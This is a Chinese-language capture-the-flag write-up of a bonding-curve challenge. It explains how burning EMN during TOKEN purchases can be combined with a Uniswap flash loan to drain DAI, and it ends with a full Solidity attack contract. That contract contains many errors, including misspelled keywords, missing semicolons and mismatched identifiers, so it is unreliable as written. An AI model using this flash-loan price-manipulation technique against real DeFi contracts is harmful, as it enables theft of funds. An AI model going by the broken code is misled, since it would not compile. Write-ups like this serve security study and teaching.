CTF-bonding-curve

题目码源:点击

题目要求:
他们即将推出的游戏发布了两个代币合同:EMN和TOKEN,它们允许你根据各自的粘合曲线进行铸造。

DAI 用于铸造 EMN,EMN 用于铸造 TOKEN。

您的任务是窃取至少 50,000 个 DAI。您开始时没有token。

这次感觉后面的题目就上难度了,粘合曲线就是一个新知识了。

首先这个合约这个合约有点多,慢慢来分析,BancorBondingCurve合约实现了一个关键的债务曲线,数学知识很多,了解就行。EminenceCurrency合约实现了EMN->TOkEN,买入token,消耗EMN。EminenceCurrencyBase合约实现了DAI->EMN,买入EMN,消耗DAI,EminenceCurrencyHepler合约,就是对债务曲线的实现。

梳理完后,就是要获得DAI代币,而我们又没有钱,所以就只能借,那就是闪电贷的实现,这道题很容易想到套利,那么如何在买卖中获得利润,就是我们要实现了的

EminenceCurrencyBase合约看到买EMN的函数


function buy(uint _amount, uint _min) external returns (uint _bought) {
_bought = _buy(_amount);
require(_bought >= _min, "slippage");
DAI.transferFrom(msg.sender, address(this), _amount);
_mint(msg.sender, _bought);
emit CashShopBuy(msg.sender, _bought, _amount);
}

看起来很正常
但是看向EminenceCurrency合约中买token的函数

function claim(address _from, uint _amount) external {
require(gamemasters[msg.sender]||npcs[msg.sender], "!gm");
_burn(_from, _amount);
}

function buy(uint _amount, uint _min) external returns (uint _bought) {
_bought = _buy(_amount);
require(_bought >= _min, "slippage");
EMN.claim(msg.sender, _amount);
_mint(msg.sender, _bought);
emit CashShopBuy(msg.sender, _bought, _amount);
}

发现还是有点区别的,一个是实现DAI的转账,一个是实现EMN的销毁,那么自身的EMN销毁后,对于债务曲线还是有影响的。
所以一个套利思路就有了:首先使用闪电贷,借入DAI,然后用全部的DAI购买EMN,再在闪电贷执行回调函数的函数的时候,拿出一部分的EMN进行购买token,这样市场的EMN就会被销毁,那么就影响到了此时的EMN的价格,然后在通过swap把token交换成EMN,我们在进行高价出售EMN,就能获得更多的DAI,然后还钱,剩下的DAI就归我们所有。

攻击合约如下:

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.17;

//因为需要闪电贷,使用unisawpV2来进行

interface IUinswapV2Pair{
  function swap(uint amount0,uint amoun2,address to,bytes calldata data) exteranl;
}

interface IEminceCurrency{
    function buy(uint _amount, uint _min) external returns (uint _bought);
     function sell(uint _amount, uint _min) external returns (uint _bought) ;
}

interface TokenERC20{
  function balanceOf(address token) exteranl ;
 function approve(address spender, uint256 amount) external ;
}
contract Hack{
    IUniswapV2Pair pair;
    IEminceCurrency buyemn;
    IEminceCurrency buytoken;
    TokenERC20 dai 

    constructor(address _pair,address _buyemn;address buytoken,address _dai)
    {
        pair = IUniswapV2Pair(_pair);
        buyemn = IEminceCurrency(_buyemn);
        buytoken = IEminceCurrency(_buytoken);
        dai = TokenERC20(_dai);
    }
   function pwn (uint256 amount) exteranl {
    pair.swap(0,amount,address(this),bytes())
   }

   function uiswapV2call (address _sender,uint256 amount0,uint256 amount1,bytes calldata _data) exteranl {
        uint256 daiamount =dai.balanceOf(address(this));
        dai.approve(address(buyemn),type.(uint256).max);
        dai.approve(address(buytoken),type(uint256).max);
         //买入EMN;
        uint256 buy1amount = buyemn.buy(daiamount,0);
        //用1/2的EMN,买入token,此时会销毁EMN,导致EMN的价格额升高
        uint256 buy2amount = buytoken.buy(buy1amount/2,0);
        //出售EMN
        uint256 sell1amount = buyemn.sell(buy1amount/2,0);
        //出售token获得EMN
        uint256 sell2amount = buytoken.sell(buy2amount,0);
        //出售剩下的EMN
        uint256 sell3amount = buyemn.sell(sell2amount,0);

        uint256 daitotal = sell1amount + sell3amount;
        //还本金加利息
        uint256 returnamount = (amount1*(10**18)*1000/997/(10**18))+1;
        dai.transfer (msg.sender,returnamount);
        //将剩下的dai发送给我们自己
        dai.transfer(tx.origin,(daitotal-returnamount));

   }

}

完结,个人认为,就是首先,要想到使用闪电贷,使用套利,发现漏洞的存在。